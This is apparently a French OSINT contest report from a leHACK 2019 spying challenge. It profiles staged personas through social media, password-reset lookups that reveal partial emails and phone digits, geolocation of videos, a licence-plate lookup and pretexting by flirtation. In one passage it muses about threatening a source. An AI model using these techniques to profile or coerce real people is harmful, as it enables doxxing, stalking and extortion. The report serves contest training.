Gréace a son profil linkedin, on peut avoir son adresse gmail: nos agentes on pu en savoir
plus sur son parcours:

Jacques Poireaux (et non Hercule), commenca sa carriere dans I'infanterie de juillet 2007 a
septembre 2011. Il fut ensuite agent de sécurité chez Sécuritas de novembre 2011 a
décembre 2015. Il a rejoint Lictor six mois plus t6t (“Gestion de sécurité lors d'affaires
confidentielles pour personnes importantes.Garde du corps.”).

Une observation de ses likes nous a permis de noter que I'Etat Major des Armées revenait
souvent.

Afin d’en savoir un peu plus sur lui 'agente Granville décida de se faire passer pour une
comédienne qui souhaitait mieux comprendre le métier de body guard® elle eut donc
différents échange avec Jacques Poireaux qui n’hésita pas a la draguer ouvertement.
N’ayant pas froid aux yeux elle décida de I'encourager dans cette voie espérant lui soutirer
des informations supplémentaires.

Elle n’appris pas grand chose si ce n’est qu'il était actuellement en mission a I'étranger.

& Annexe B: contact via Linkedin Jacques Poireaux
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Personnages annexes

Gustave LEPROLEAU

Nom LEPROLEAU

Prénom Gustave

Contacts E| qustavequstave@laposte.net
E| gu.leproleau@gmail.com

Réseaux , https://twitter.com/BeretsTC
sociaux

m https://www.linkedin.com/in/qustave-lep
roleau/

https://www.youtube.com/channel/lUCQ
CFSAQ5tr-2T87hrQynUw

Biais Ego, idéologie
envisagés

Notes Deux enfants (Brandon et Ashley).
Sa femme est peut-étre coiffeuse.

Informations générales

Ignare ambitieux ou maitre de la manipulation ? Tout est a craindre avec ce personnage au
discours parfois incohérent mais a I'influence notoire.

D’aprés son profil linkedin (https://www.linkedin.com/in/gustave-leproleau/), cet ancien
employé de Lictor se distingue de tous les autres profils de par son engagement fort au sein
d’'une cause qui lui tient a coeur : celle des Bérets Tout Court (BTC). Précédemment grand
allié du mouvement des Bérets Jaunes, il finit par étre décgu par leurs actions et la violence
qui faisait loi parmi les partisans, ce qui 'amena a créer sa propre branche du mouvement.

Il tente de se faire passer pour un écolo afin de rassembler les foules tout en reconnaissant
juste aprés qu’il ne I'est pas pour deux sous.

Gustave dispose d’un profil sur Doctissimo ou il y parle de son amour des bérets :
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https://twitter.com/BeretsTC
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Paga:1

beretTC | Posté le 14/06/2019 2 19:42:29 PV B+ A A

Qui partage avec moi I'amour des bérets ?
Message cité 1 fois

Ce que j'al a dire est court, trop Court, ou tout court peut-étre, comme les bérets.
Soutenons I'effort du peuple qui s'efforce .
https:/fwww.youtube.com/channe [...] wifeatured

¥ Jaime |1

beretTC 1 | Posté le 14/06/2018 2 19:49.58 Y B+ A A

Gustave Leproleau, pour vous servir.

Ce que j'al a dire est court, trop court, ou tout court peut-étre, comme les bérets.
Soutenons 'effort du peuple qui s'efforce !
https: /f'www.youtube.com/channe [...] w/featured

¥ Jaime 0O
blondotbeatrice " Posté le 2610612019 2 00:1024 ¥ B A
beretTC a écrit :
Qui partage avec moi I'amour des bérets ?
Moi aussi j'adore ca =
¥ Jaime O

Il dispose également d’'un compte sur Top Music info, et ou 'un de ses messages nous
indique qu’il aurait (au moins) deux enfants, une fille et un gargon, Brandon - le nombre
supérieur a 2 et leur sexe étant également sous-entendu dans I'une de ses vidéos.

Les billets d’avion feraient sans doute référence a la vidéo du commentaire, “Miami : argent,
bling-bling et grosses caisses - Automoto”. Nos agentes prirent le parti d'interpréter cela
comme une pointe d’humour plus que comme une preuve que le fondateur des BTC
compterait se tirer aux States avec tout I'argent des partisans.

Toutefois, cela relevant de l'interprétation personnelle, pourrait-on utiliser ce commentaire
comme un point d’appui pour extorquer des informations a Gustave ? En le menagant de
semer la panique au sein du mouvement via le dévoiement de ce message en cas de non
coopération absolue de sa part ? L'agente Granville se frotta les mains a cette idée. Faire
craquer ses sources par les menaces était une de ses grandes passions dans la vie. Ce
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biais était a utiliser avec parcimoni, bien entendu, mais dans I'éventualité ou 'occasion se
présenterait, elle se proposerait spontanément pour assumer cette charge.

Par ailleurs, une page au nom de Gustave L. a été créée sur Twitter
(https://twitter.com/BeretsTC). L’intéressé dément dans ses vidéos tout lien avec cette page.
Les informations qui s’y trouvent sont donc a prendre avec un certain recul.

Gustave L.
@BeretsTC

Fondateur du mouvement des Bérets
Tout Court et bon vivant T %

o
)
et

2

2 Inscrit en avril 2018

@) Naissance le 1984

Il serait né d’aprés cette page en 1984 et habiterait a Levallois-Perret - contradiction avec
'une de ses vidéos, voir plus bas.

Ses likes et retweets ne permettent pas de déterminer ses inclinaisons politiques, hormis le
fait qu’il serait pour tous les extrémes (Bardela, Le Pen, France Insoumise, Antifa, photo de
profil Karl Marx...). Un extréme-centriste peut-étre ? En politique, on n’arréte décidément
pas le progrés.

2'\ Gustave L.
i (@BeretsTC
We found the following information associated with your account.

- Ema” a ]Iﬂk to in********@g‘#‘#*ﬂs'.*#*

@BeretsTC aurait une adresse en in********@gmail.com.

Enfin il serait peut-étre originaire de la région de Toulouse d’aprés I'un de ses tweets.
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Ses vidéos

L’individu surveillé dispose d'une chaine Youtube dédiée aux Bérets Tout Court
(https://m.youtube.com/channel/lUCQ_CESAQS5tr-2T87hrQynUw). Ses vidéos se veulent étre
des points réguliers sur 'avancée du mouvement, des analyses critiques et éclairées sur
I'actualité, ainsi que des mises-a-jour sur sa situation au cours du temps.

Vidéo 0 :Spying Challenge - leHACK 2019 [Teaser]

e Lien : https://youtu.be/BQnm_UuCzv4
e Date de mise en ligne : 9 Mai 2019

Dans cette vidéo quelque peu a part - mise en ligne par la Centrale dans sa grande
mansuétude - nous faisons la connaissance avec Gustave, encore BJ a cette époque. Cette
vidéo correspondrait au tournant dans sa carriére politique, ou Gustave décide de se
séparer des BJ. Toutefois, aprés avoir été arrété violemment par des personnes en treillis
cagoulées, notre futur leader de BTC changea son discours pour étre plus sympathique a
I'égard des BJ. L’absence de marques de coups sur son visage intrigua nos agentes, qui
soupgonnérent donc que les hommes encagoulés devaient étre des professionnels de
l'interrogatoire : soit ils savaient faire plier un homme avec de simples mots, soit leurs
capacités a frapper un homme sans laisser de traces étaient redoutables.

Vidéo 1 : Renouveau

e Lien: https://youtu.be/WFeF3_eG8As
e Date de mise en ligne : 12 juin 2019
e Description youtube : Sans description ; Catégorie People et blogs.

Gustave est de retour et semble avoir repris du poil de la béte ! Il apparait devant une télé
diffusant un discours d’Edouard PHILIPPE sur BFM. On apprend que c’est le service d’ordre
des BJ qui s’est occupé de lui précédemment, et comme le confirme le site des BJ, il
s'agirait de Lictor - bien que ces derniers démentent tout.

Il dispose d'une arme a feu relativement ancienne (mais sans doute a la pointe de la
technologie au moment ou elle fut inventé), et annonce la création des BTC, qui se veut étre
un mouvement fédérateur.

L’agente Ash souligne qu’il n’a qu'une seule de ses deux manches de t-shirts relevée. Sans
doute voulait-il montrer son corps assymétriquement musclé ?

On apprend via un commentaire sous la vidéo qu’'une page Facebook a été créée en
’honneur des BTC : https://www.facebook.com/BeretsTC/.

Vidéo 2 : Analyse 001
e Lien : hitps://youtu.be/wHC57k0YQdw
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e Date de mise en ligne : 18 juin 2019
e Description youtube : Sans description ; Catégorie People et blogs.
e “Jour sans football a la télé”, “biére devant la télé”

Dans cette vidéo nos agentes ont relevé plusieurs éléments qui pourrait avoir un intérét pour
notre affaire:

Tout d’abord nous avons pu noter étant donné son insistance que dans cette vidéo tout est
mis en scéne pour attirer les écologistes (ou les 12% comme il les appelle). Pour lui “le vert”
est un effet de mode.

On note également la présence d’une arme sous son chocolat bio.

Il semble avoir des enfants assez jeunes. Il n’a pas grand chose a dire sur le discours
d’Edouard Philippe. Il se plaint du budget qu’il a pour faire ses vidéos. Il exprime sa solitude
au Béréts tout courts et nous confie qu’il souhaite attirer encore plus de gens: “j'attends que
les gens reviennent 13"

Il explique habiter dans une “commune de 98170 habitants selon Wikipedia”. Afin de savoir
de quelle commune il s’agit 'agente Granville tapa sur Google “commune de 98170
habitants”, c’est ainsi qu’elle eut une liste des villes les plus peuplées en France’ :

Celle qui se rapproche le plus du chiffre

LLUISLUYIE SU1 e s Levisy \euuzy Leuuy) IRELIT RELET] [RECET) eIV \1ouz)

Hauts-de-
43 | Tourcoing Nord France 97 476 92018 92 357 93 540 93 765 96 908 102 238 98 755

| Hauts-de-
44 | Roubaix Nord E 96 412 94 186 97 952 96 984 97 746 101 602 109 553 114 547
rance

g - ile-de- Aoy | e O e I

Elle cliqua d’abord sur Tourcoing qui semblait s’approcher le plus du chiffre énoncé et ravie,
constata qu’elle avait visé juste®:

Tourcoing

of Cet article posséde un paronyme, voir Courtain.

Tourcoing (/tus.kwg/) est une commune frangaise située dans le département du Nord, dans les Hauts-de-France.
Avec 98 170 habitants, elle est la troisiéme ville de la région Hauts-de-France, derriére Lille et Amiens’. Elle est le chef-
lieu de deux cantons.

Il dit avoir vu sa grand-mére (qui lit le canard enchainé aka “canard coin coin”) a Tourcoing.
Il ne s’étale pas sur des articles trop “compliqués” car il ne sait pas lire le “toup’ti”.

On apprend qu'il était technicien fraiseur et que maintenant il est “sur les routes” ce qui
selon nos agentes doit faire référence au fait qu’il doit étre aujourd’hui manifestant a part
entiére il en profite d’ailleurs pour parler des péages “encore des attrapes-sous ¢a hein”.
Une phrase a laissé les agentes perplexe: “pour qu’on coupe les tif eux aussi font des
heures sup’ “ il I'a dite juste aprés avoir parlé de sa femme les agentes se sont donc
demandé si sa femme était coiffeuse.

Vidéo 3 : Appel écologique

e Lien : hitps://youtu.be/dzQYhOdK3vw
e Date de mise en ligne : 18 juin 2019
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e Description youtube : Sans description ; Catégorie People et blogs.

Dans cette vidéo Gustave nous fait part de ce magnifique projet qui lui tient tant a coeur:
“une éolienne dans son salon” et rappelle au passage qu'il n’a pas de budget et refait un
appel de ralliement aux écologiste avec l'aide précieuse et crédible de sa biére bio.

Vidéo 4 : Appel international around the world

e Lien : https://youtu.be/SZY34 FqgbFg
e Date de mise en ligne : 25 juin 2019
e Description youtube : “Comme on” ; Catégorie People et blogs.

Dans cette vidéo on entend une voix qui lit un appel en anglais pour rejoindre le mouvement
(Nos agentes ont trouvé ¢a assez pitoyable mais qui sont-elles pour juger?)

A la fin on croit entendre:

“Ashley (hypothése), dis a ton frére d’aller se coucher ou je le mets a la téte du parti
communiste” (quel humour ce Gustave décidément)

Il revient ensuite mais semble agace, et dit qu’il a encore copié une conversation Facebook
dans Google Traduction.

Malgré son rejet verbal des réseaux sociaux, il semble avoir un compte Facebook.

Au final on peut noter que sa fille s’appelle Ashley. Nous notons également qu'il dispose
d’'une housse avec un motif sur le theme de “New York”.

Vidéo 5 : Appel international the end

e Lien : hitps://youtu.be/w18edCe9Wxs
e Date de mise en ligne : 25 juin 2019
e Description youtube : “C'est compliqué you tube” ; Catégorie People et blogs.

Dans cette vidéo il dit:

“La semaine qui arrive va étre trés trés chargée, je vais vous faire des analyses comme
jamais.” On comprend donc qu’il va s’intéresser plus a I'actualité et la commenter (pour notre
si grand plaisir!)

Vidéo 6 : Analyse du jour 002

e Lien : hitps://youtu.be/vQitAs-TIgw
e Date de mise en ligne : 27 juin 2019
e Description youtube : “Ca coupe a la fin c'est la pile.” ; Catégorie People et blogs.

Dans cette vidéo (fort agréable a écouter) Gustave chuchote voire susurre ses messages si
pertinents. En effet c’est un message nocturne car “chez les Bérets tout court c’est H24
ok?!”

Mais comme Gustave a beaucoup d’humour c’était en fait une plaisanterie et notre joyeux
luron peut se laisser aller a parler fort. C’est un homme libre il fait ce qu’il veut.

Il a recu ses nouvelles par avion (quel spy de oufl)
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Nos agentes ont noté que dans cette vidéo il était particulierement friand des bruits parasites
de papiers et micros (I'agente Granville a failli perdre I'ouie, elle songe a prendre des cours
de cassage de genoux aupres de I'agente Ash pour le remercier samedi en personne).

Sa revue de presse du coincoin:

- Manu privatisation ADP, il traite les francais de cons;

- Lobby auto-routier, n’a pas lu car il est déja au courant

- Une nouvelle “marrante”: Mac Donald invité au congrés annuel de pédiatrie, “C’est
pas mal Mc Donald pour les enfants, c’est pas mal quoi”

- Il 'y a des professeurs en médecine qui sont en pédiatrie et consultants pour de
grandes enseignes alimentaires. Gustave adore (ironiquement bien sar): “tout va
bien dans le meilleur des mondes”

- La tomate est ronde et n’a pas de golt: tomates hybrides “que de I'eau de la merde”.
lls exploitent des petits indiens.

- Déconseille de voyager en Boeing, mais I'avion c’est pour les riches.

Il conclut son analyse pointue avec la phrase suivante: “les politiques nous méprisent et sont
des enfoirés”

Vidéo 7 : Je me casses

e Lien : https://youtu.be/_abGojgDjuQ
e Date de mise en ligne : 30 juin 2019
e Description youtube : “Alta la vista baby jaune” ; Catégorie People et blogs.

Aujourd’hui est un jour solennel chez les Leproleau Gustave a décidé de “se casser”.

Il fuit Ia ou les bérets jaunes ne le trouveront pas. Il explique que des personnes ont créé
des pages sur les réseaux sociaux du mouvement mais que ce n’est pas lui. La page
BérétTC sur Twitter ce n’est pas lui. Il explique étre contre les réseaux sociaux, il ne sait
utiliser youtube que grace a un tuto.

Il commente l'initiative de Lucien Dubois c’est selon lui une bonne initiative et invite les gens
a aller sur la page Facebook créée par le dit Lucien.

Il donne une adresse “courriel” ou le contacter et dit de ne pas hésiter :
gustavegustave@laposte.net

Il a un train a prendre, et bient6t il sera bien loin. (Bon voyage Gustave!)

Vidéo 8 : Formation ninja

e Lien : https://youtu.be/-La2kjl-aOg
e Date de mise en ligne : 1 juil. 2019
e Description youtube : “Ca va dérouiller” ; Catégorie People et blogs.

Un appel éclatant au GEOSINT. C’est en tout cas ainsi qu’interprétérent nos agentes le sens
de cette vidéo.

La recherche se déroula en trois étapes. Tout d’abord nos agentes cherchérent églises de
France répondant au principal critére esthétique de celle de la vidéo : des briques rouges.
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‘Hum... c’est étrange”, remarqua l'agente Granville, “quelgu’'un mentionne dans les
commentaires la cathédrale d’Alby, mais le toit et les fenétres ne semblent pas correspondre
malgré la ressemblance flagrante...”. L’agente Ash proposa d’aller casser les genoux de
'auteur du commentaire. Bien que Granville n’était pas fondamentalement opposée a cette
idée, elle suggéra a sa collégue belliqueuse de concentrer plutét son énergie a la recherche
de I'église. Ash reposa son pied de biche a terre et grommela quelques jurons inintelligibles
en se rasseyant devant son ordinateur.

Les recherches de photos ne donnant rien de concret, nos agentes passérent a I'étape 2. Et
si, finalement, elles cherchaient plutét le lieu de la location ? Maison de ville, deux
chambres, salle de bain a l'italienne, duplex, grande cuisine et télé, tels furent les mots clés
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utilisés sur Airbnb. La recherche s’avéra cependant infructueuse, au grand désespoir de nos
héroines.

Mais alors ? Quelle option pouvait-il rester ? L’aide du public pardi ! Deux pistes furent
étudiées : l'observatoire des patrimoines religieux (https://www.patrimoine-religieux.fr), et
'appel a un ami. La réponse fut finalement apportée par un ami d’ami d’ami, qui participait a
de nombreux festivals médiévaux et se trouvait étre connoisseur en batiments religieux en
Alsace. Il s’agissait donc de I'église Saint Thomas a Strasbourg.

Vidéo 9 : Sur le vif

e Lien : https://youtu.be/_fhca88dULo
e Date de mise en ligne : 2 juil. 2019
e Description youtube : “Nc¢” ; Catégorie People et blogs.

Téléphone orienté vers le ciel. La douce voix enfantine/niaise de Vanessa Paradis entonne
les couplets de Joe le Taxi. La voix d’'un GPS surgit : “Dans 1.3km, tournez a gauche sur
Rue de la Plaine des Bouchers.” La cible semblait se retrouver aux alentours de 'avenue de
Colmar ou de la voie E52 a Strasbourg. Cela confirmait les observations de la vidéos
précédente.
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Gustave annonce I'arrivée prochaine de l'insurrection.

Vidéo 10 : Séjour en Camargue

e Lien : hitps://youtu.be/8Uo4XxMTdvU
e Date de mise en ligne : 3 juil. 2019
e Description youtube : “OKLM” ; Catégorie People et blogs.

La scéne s’ouvre sur Gustave devant une voiture immatriculée FF-323-KS, simple
provocation de la part du fondateur des BTC envers les BJ. Nos agentes retrouvérent sans
soucis les informations liées a la voiture :
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D
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HYUNDAI I10
FF-323-KS

Rapport daté du 03/07/2019
Premiére mise en circulation le 04,2019

& VIN: NLHA851AAKZ52" """ & Carburant: Essence

CYLINDREE: 908 # Couleur: Inconnue” & Places: 5

a titre indicatif

Aussi, 76 correspond a la Seine-Maritime.

A mesure que la soirée avancait, la tension a 'autre bout du cable ethernet était palpable.
« Mais P#TAIN ! ENCORE une église ?! Il en a pas fini avec ses parties de cache-cache
ecclésiastique ce con ? », s’exclama I'agente Smith. Elle venait de passer deux longues
heures a chercher I'édifice religieux qui apparaissait en fond dans la vidéo. Sur son mur, des
centaines de photos étaient épinglées et rageusement barrées : églises, temples, ancien
monastéres reconvertis en lofts Airbnb par des hipsters vénaux... toutes les pistes avaient
été explorées, aucune ne menait a quelque chose de concret.

C’est alors que son beeper vibra. Un message de I'agente Ash.

“Ta essayé de tapé Impasse de I'Eglise dans GG image ?”

|

— ";1

Ce que l'on peut apercevoir derriere Gustave dans la vidéo.
L’agente Smith sourit. Un tel manque d’expérience dans le domaine du GEOSINT faisait

peine a voir. Comment pouvait-on s'imaginer qu’il suffisait d’'une simple recherche dans un
moteur de recherche pour trouver la position exac...
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“Comment t'as trouvé ?”
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A nouveau, I'agente réalisa 6 combien il était important de discuter de son travail avec des
béotiens. Le résultat confirma toutefois une partie de ses propres conclusions, a savoir le

style alsacien de I'église, qui se trouvait étre un temple, a Traenheim, et le fait que Gustave
devait sans doute bluffer et toujours étre a proximité de Strasbourg.

wll Orange F & 22:01 40 48% @

{ ©2019Go.. @ [ -

57 Rue Principale

Vidéo Google Maps
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Vidéo 11 : Complément d’analyse. A regarder aprés la suivante

Lien : https://www.youtube.com/watch?v=Tk3BBysE9f8

Date de mise en ligne : 4 juil. 2019

Description youtube : “Et non pas d'enquéte comme Elise. Je préfére Brendon et
Ashley comme prénoms.” ; Catégorie People et blogs.

Il dit que pour l'aider, on pourra souscrire a un site gratuit, qui n’existe pas encore ; ou qu’on
peut lui donner des infos sur les Bérets Jaunes.

On apprend aussi qu’il est régulierement a Paris, et semble ne pas forcément apprécier la
maire.

Vidéo 12 : Analyse 004 sans blocage

e Lien : https://www.youtube.com/watch?v=2Wyy-Xyp54U
e Date de mise en ligne : 4 juil. 2019
e (Catégorie People et blogs.

Réquisitoire contre les trottinettes électriques. Il a un vélo Peugeot, depuis 3 générations
dans la famille d’aprés lui. Aussi, on apprend qu’il va bouger le lendemain, et les prochains
jours.

Vidéo 13 : Explications

e Lien : https://www.youtube.com/watch?v=0LIUyUNio2|
e Date de mise en ligne : 4 juillet 2019
e Description youtube : “Bonne nuit” ; Catégorie People et blogs.

Derriére cette vidéo au titre digne d’'un roman de Stephenie MEYER, Gustave se contente
de se plaindre de YouTube qui lui a bloqué une vidéo a cause de droits d’auteur.

Les vidéos que Gustave a liké sur Youtube

= e te quitte !
C;aI q , |
o)
@ 5. |
(g, i # -
F As ;

Mo
== . { b
Comment je me suis retrouvé Facebook je te quitte ! Zazie: "Je n'ai pas de compte Bref: les réseaux sociaux
en prison a cause d'un tweet ) Facebook" ;
Laure Brignone Alex Carignan
Amaru 1.9K views * 1 year ago Le Matin 211K views + 6 years ago
96K views + 2 months ago 634 views * 7 months ago

€ yrai trompé
internet avec

% BN.unDM sur

BE=INSTAGRAM
. 13:29" % ‘ N
LE DANGER DES RESEAUX IS SOCIAL MEDIA Prince - Raspberry Beret Beret - Corazén de piedra
SOCIAUX DESTROYING OUR (Official Music Video) (Letra)
Rita Chaima Mathias Prince J Keeit Mil Letras
683K views * 4 years ago 103K views * 3 months ago 21M views * 1 year ago 4.6M views * 2 years ago

cc
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CCF (Army) How to Wear a Artisanat : le béret béarnais, Enganchados - Beret (2019) C2 - Culture/ Mode - Le béret

Beret 100 % frangals Pablo Cabezas Julie Alors leam French

Combined Cadet Force meteoalacartelemag @ 474K views + 7 months ago 5.7K views « 1 year ago
20K views + 1 year ago 3.1K views * 2 years ago cc

Nos agentes n’en ont pas appris bien plus sur Gustave avec ces vidéos: il aime les bérets
qui ont pour lui une connotation militaire et semble trouver les réseaux sociaux “dangereux”
en tout cas il se renseigne sur les réseaux sociaux.

Suspicious Eagle

Nom ?

Prénom ?

Contacts E| ch¥rwxsssias @gmail.com
B *%k k% kk k% 99

Réseaux y https://twitter.com/EagleSuspicious
sociaux

Biais Motivation a trouver un travail qui lui
CNVEEL[-Jl correspondrait plus

Originellement confondue avec Talisa Nala de par sa chevelure, nos agentes s’apergurent
en fait que la forme de leur visage différait. Puis a y regarder de plus prés, elles comprirent

qu’il était impossible de se fier a cette image de profil : cela semblait étre une photo générée
par IA.

La fonction d’oubli de mot de passe nous donne les informations suivantes :

SuspiciousEagle
@EagleSuspicious

Nous avons trouve les informations suivantes relatives a votre compte.

® Envoyer un code par SMS a mon numeéro de téléphone se terminant par 99
Envoyer un lien par email § ch***kssskikakans g giss ik

L’individue aurait envie de changer de situation professionnelle :
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SuspiciousEagle @ I...
Raaah hate these #'§% scnpt
kiddies... Security in banking
companies is unfun. | need to pwn
and i have to find a real position in a

good place! :(
Have somebody heard about good
companies?

Note relatives aux personnages annexes

Lictor étant une société tres prestigieuse, il arrive que régulierement des personnes
prétendent les connaitre voire travailler chez eux.
On notera d’ailleurs qu’ils ont publié un message pour mettre en garde leur collaborateurs

sur Linkedin:
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e Lictor ma.
76 aboninés

LICToR "'l I

Be careful, many fake profiles posing as employees or ex-employees of lictor are
present on linkedin.

We will investigate and take appropriate action

https:/finkd.in/dBj9fpx

@B Voir la traduction

Barrett .50 cal M82 Sniper

youtube.com

0 6 - 1 commentaire

E{h J'aime E F{) Principaux commentaires «

e Ajouter un commentaire... @
Fabienne Braise - e $jrwns
CTO at Samad Group

Thank you. Such a pleasure to be doing business with you

Voir la traduction

https://www.linkedin.com/feed/update/urn:li:activity:6551861773169905664

Ceci est arrivé notamment pour un certain Gérard Kawami sur Linkedin se présentant
comme Administrateur général. Ce fait a été dénoncé par Liliana.

Son insistance et ses commentaires nous confirment toutefois qu'il existe un Gérard Kawami
Administrateur général chez Lictor mais que le profil Linkedin n’est apparement pas le sien:

58


https://www.linkedin.com/feed/update/urn:li:activity:6551861773169905664

D

Liliana Deloup - 7er g s

Spying Challenge 2019 - Team WoSEC

Ingenieure d'affaire chez Lictor

Gérard ?? Non... impossible.

& E] - 25 commentaires

%o

Gerard Kawami [T ]ine

Administrateur général at Lictor

Et oui, pourguoi pas ? :)

(= T =

Liliana Deloup « ‘er i jrise

Ingenieure d'affaire chez Lictor

Vous ne connaissez pas assez Gérard auquel cas vous ne
tenteriez pas d'usurper son identité. ..

S R =

Gerard Kawami [T S BT

Administrateur général at Lictor

Il faut toujours garder une part de mystére en soi. C'est ¢ga de
cultiver le secret.

o T =

Liliana Deloup - er G

Ingenieurs d'affaire chez Lictor

Certe, mais certainement pas sur un réseau social. C'est
extrémement mal le connaitre.
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Gerard Kawami [T ¥ fes
©  Administrateur général at Lictor

Quid de notre contact client et de nos recrutements ?

(= T =

@ Liliana Deloup = “er Fians
O Ingenieurs d'affaire chez Lictar

Parce que vous coryez qu'il s'en occupe Iui méme 7 ;')

S | =

Gerard Kawami T3 F1h s
O  Administrateur général at Lictor

Liliana Deloup, je sais bien que je ne m'en occupe pas mais
j'&tais curieux.
Tu fais un trés bon travail pour nos client ;)

S =@

@ Liliana Deloup - 7er 21 b ees
0 Ingenieure d'affaire chez Lictor

_ TRAITORMIL

Les commentaires continuent ainsi puis nous obtenons une information sur la présence de
Liliana au Hack (Porte de la Villette).
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'@ Liliana Deloup « “er 15 i - r
©  |ngenieure d'affaire chez Lictor

Gerard Kawami Ou pensez vous me trouver samedi ?

d

Gerard Kawami T3 15 h o

O  Administrateur général at Lictor

Liliana Deloup porte de la villette

o I =
# Liliana Deloup - ter 15h ---
O  |ngenieurs d'affaire chez Lictor
Oh, alors j'en profiterais pour vous présenter Gérard The Real
One 1)

Nous ne mentionnerons pas les autres profils ici car assez peu pertinent pour notre rapport
mais notons toutefois qu’il en existe d’autres.

Pour conclure sur cet aspect, nous évoquerons le fait que nos agentes ont été contactés par
un certain Guillaume Chouquet (probablement un agent en mission pour des agences
concurrentes) qui tenta de brouiller nos pistes, le petit malin! (cf: conversation en Annexe D)

Fabienne Braise

Ce profil fut assez challengeant pour nos agentes, en effet, Fabienne travaillerait pour
Samad Group (qui n’a pas de fiche entreprise sur Linkedin).
Toutefois, elle échange avec Liliana de Lictor qui lui propose les services de Lictor:
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Liliana Deloup - 7er i
o Ingenieure d'affaire chez Lictor

Fabienne, tu devrais contacte Lictor, on devrait avoir ce gu'il te faut,

c'est une routine pour nous ce genre de chose surtout la bas ;)

& - 1 JEime E - 3 commentaires

o Fabienne Braise N3 e
CTO at Samad Group
Merci Liliana ! Je n'ose pas trop abuser de vos ressources
non plus mais je ne veux pas me retrouver a conduire les
camions moi-méme. On grossit trop vite !

&=
@ Liliana Deloup « %er 21h e
O Ingenieure d'affaire chez Lictor

Envoie nous un mail, on te fais un devis :) Tu dis que tu vien
de ma part, cette conversation Linkedin & I'appui :)

'.'fh = 1 Jaime =]

9 Fabienne Braise [T 20 hy
CTO at Samad Group

Liliana Deloup merci pour ta reactivité ! Les meilleurs chez
Lictor !

Elle est également en contact avec Jacques Poireaux de Lictor qui like de temps a autres
certains de ses posts:

Jacques Poireaux aime ceci mee

a Fabienne Braise « ler
. CTO at Samad Group
1]
[instant puéril]

J'ai 69 connexions sur Linkedin !

O 4 * 7 commentaires

&J‘aime B &

Concernant ce personnage nous avons donc décidé de ne pas le négliger et de le garder a
I'oeil sans non plus y attacher une importance centrale.

Flore Levallois

A linstar de Fabienne Braise, Flore est une personnalité controversée.
En effet, elle travaille pour le méme groupe que Fabienne et échange avec elle, elles se
seraient méme disputées au sujet du renvoi de Flore du groupe:
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- Flore Levallois - 1er i
Slo  Ingénieur d'affaires

Oh bravo Fabienne Braise! Ca c'est de la maturité comme on en fait
plus ! Tu portes bien ton nom tiens !

& E] - 3 commentaires

r Fabienne Braise T3 1] ves
i CTO at Samad Group

Si tu veux pas gu'on t'aide & trouver du taf t'as gu'a le dire !
Je culpabilise déja assez de t'avoir renvoyé, tu devrais me
remercier !

(o B =

@ Fabienne Braise [ITT3 g v
3 CTO at Samad Group

Flore Levallois si tu ne veux pas de mon aide le Monde entier
saura a quel point tu es incompétante et gaffeuse !

o | =5

Flore Levallois « 1er ST
Ingénieur d'affaires

@

Fabienne Braise si c'est vraiment le cas, arréte de laver ton
linge sale en public... T'en as déja assez fait comme ¢a non ?

d =3

Nos agentes ont donc adopté la méme démarche que pour Fabienne Braise et décidés de la
garder dans un coin de leur téte sans pour autant lui consacrer leur précieux temps.
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Map d’interconnexion entre les
ntites et personnages

Leur service d'ordre
semble I'avoir
menacé

—_—

om0
Fondateur des Béréts P

tout courts

LIC

Réseaux sociaux: Linkedin

Ancien administrateur
général chez Lictor

Les béréts jaunes

Mouvement se battant pour

“la justice sociale” Réseaux sociaux: Linkedin,

youlube, Twitter (nie que
Clest lui)

Talisa Nala
Office manager

Réseaux sociaux: Linkedin,
Instagram

R\
) =

Matthias Muller

|

Fikret Sprital

Jacques Poireaux

Liliana Deloup

Ingenieure d'affaire

Réseaux sociaux: Linkedin,

Responsable sécurité
rapprochée

Réseaux sociaux: Linkedin

Responsable du service
de formation

Réseaux sociaux: Linkedin

Responsable logistique

Réseaux sociaux: Linkedin,
Twitter

Twitter, Badoo,
hellboundhackers, skyblog,
github
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Contexte geopolitique

Nous avons constaté que beaucoup des personnalités centrales de cette analyse étaient en
lien avec certains pays. Afin de nous éclairer sur les dessous de cette affaire nous
récapitulons succinctement les différentes situations géopolitiques de ces pays.

Kosovo

Présentation du pays

Nom officiel : République du Kosovo

Nature du régime : République parlementaire

Chef de I'Etat et/ou du gouvernement : Hashim THACI, président de la République
(depuis le 7 avril 2016)

Données géographiques

Superficie : 10 887 km2

Capitale : Pristina

Villes principales : Prizren ; Pe¢/Pejé ; Mitrovica/Mitrovicé
Langue (s) officielle (s) : albanais, serbe

Monnaie : euro

Données démographiques

Population (estimation recensement 2011) : 1,8 million d’habitants
Densité : 166,8 habitants/km2

Croissance démographique (2016) : 0,8 %

Religion (s) : musulmane (90 %), orthodoxe (5 %), catholique
Indice de développement humain (2017) : 0,787 / 1

Données économiques

PIB par habitant (2017) : 3 894 US dollars

Croissance (2017) : 4,1 %

Chémage (au sens du BIT) (2017) : 30,4 %

Inflation (2017) : 1,5 %

Solde budgétaire (2017) :1,2 % du PIB

Balance commerciale (2017) : 457 Md€ (39 % du PIB)
Principaux clients : Albanie, Serbie, Macédoine

Principaux fournisseurs : Serbie, Allemagne, Turquie

Part des principaux secteurs d’activités dans le PIB (fin 2016) :

e agriculture : 9 %

e industrie : 26 % ;

e services: 64 %
Exportations de la France vers le Kosovo (2017) : 10 M EUR
Importations frangaises depuis le Kosovo (2017) : 4 M EUR
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(source: https://www.diplomatie.gouv.fr/fr/dossiers-pays/kosovo/presentation-du-kosovo/)

Le Kosovo est né de I'ex-Yougoslavie, il est aujourd’hui soutenu par Moscou mais n’est pas
reconnu par la Serbie.

Il existe encore aujourd’hui des tensions récurrentes entre la Serbie et Le Kosovo.

(source:
https://www.lepoint.fr/monde/kosovo-de-la-guerre-a-lI-independance-16-02-2018-2195516_2
4.php)

Le Kosovo est I'un des berceaux de la mafia albanaise qui est connue pour: blanchiment
d'argent, racket, extorsion de fonds, trafic d'armes, prostitution, trafic de stupéfiants,
corruption de fonctionnaires, vol de voiture, agression sur les forces de l'ordre, contrat
d'assassinat, corruption de politiques, trafic d'étres humains, immigration illégale.

(source: https://fr.wikipedia.org/wiki/Mafia_albanaise)

Albanie

Présentation du pays

Nom officiel : République d’Albanie

Nature du régime : république parlementaire

Chef de I'Etat : M. llir Meta (en fonctions depuis juillet 2017)

Premier ministre : M. Edi Rama (en fonctions depuis septembre 2013).

Données géographiques

Superficie : 28 748 km2

Capitale : Tirana

Villes principales : Durrés, Fier, Vlora, Elbasan, Shkodra, Korc¢é
Langue officielle : I'albanais

Monnaie : le lek (1 € = 140 lek)

Données démographiques

Population (2016) : 2 880 000 h

